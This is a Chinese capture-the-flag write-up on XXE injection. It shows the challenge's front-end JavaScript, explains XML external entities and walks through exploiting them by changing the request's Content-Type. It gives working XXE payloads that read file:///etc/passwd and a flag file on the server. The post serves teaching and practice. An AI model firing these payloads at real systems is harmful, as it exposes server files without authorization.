XML引用外部实体触发XXE漏洞

先记录一道题

 

输入框中输入的内容会被显示到上面的区域中。查看后台源码,有这样的一个片段

function XHR() {
        var xhr;
        try {xhr = new XMLHttpRequest();}
        catch(e) {
            var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
            for (var i=0,len=IEXHRVers.length;i< len;i++) {
                try {xhr = new ActiveXObject(IEXHRVers[i]);}
                catch(e) {continue;}
            }
        }
        return xhr;
    }

function send(){
 evil_input = document.getElementById("evil-input").value;
 var xhr = XHR();
     xhr.open("post","/api/v1.0/try",true);
     xhr.onreadystatechange = function () {
         if (xhr.readyState==4 && xhr.status==201) {
             data = JSON.parse(xhr.responseText);
             tip_area = document.getElementById("tip-area");
             tip_area.value = data.task.search+data.task.value;
         }
     };
     xhr.setRequestHeader("Content-Type","application/json");
     xhr.send('{"search":"'+evil_input+'","value":"own"}');
}

 

传入一个json形式的数组

传入json以后发现只是几个特定的值被记录下来。这里用到的就XXE漏洞

 

 

XML:可扩展标记语言标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言

<?xml  version="1.0" ?>
<user>
<username>admin</username>
<password>pass</password>
<age>age</age>
</user>

有些XML文档包含system标识符定义的“实体”,这些XML文档会在DOCTYPE头部标签中呈现。这些定义的’实体’能够访问本地或者远程的内容。比如,下面的XML文档样例就包含了XML ‘实体’。

 

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE rr[
<!ENTITY entityex SYstem "file:///etc/passwd">
]>
<abc>&entityex;</abc>

 

这里的entityex即我们引用的外部实体,在内容中又引用了SYstem,在服务器解析xml的时候就会触发SYSTME 进而执行file:///etc/passwd

 

找到了一个可以说明这个问题的实例:

 

 点击下方的forget pwd,抓包。

 

 查看返回包

 

引用xml实体,构造如下语句。

 

 语句成功被解析。

 

在这道题中我们首先要将content-type改为application/xml 这样即可以识别xml结构。

根据上述特点构造

<?xml version="1.0" ?>
<!DOCTYPE hsy[
<!ENTITY any SYstem "file:///home/ctf/flag.txt">]>

<something>&any;</something>

 

 

 

得到flag

相关文章

php输出xml格式字符串
J2ME Mobile 3D入门教程系列文章之一
XML轻松学习手册
XML入门的常见问题(一)
XML入门的常见问题(三)
XML轻松学习手册(2)XML概念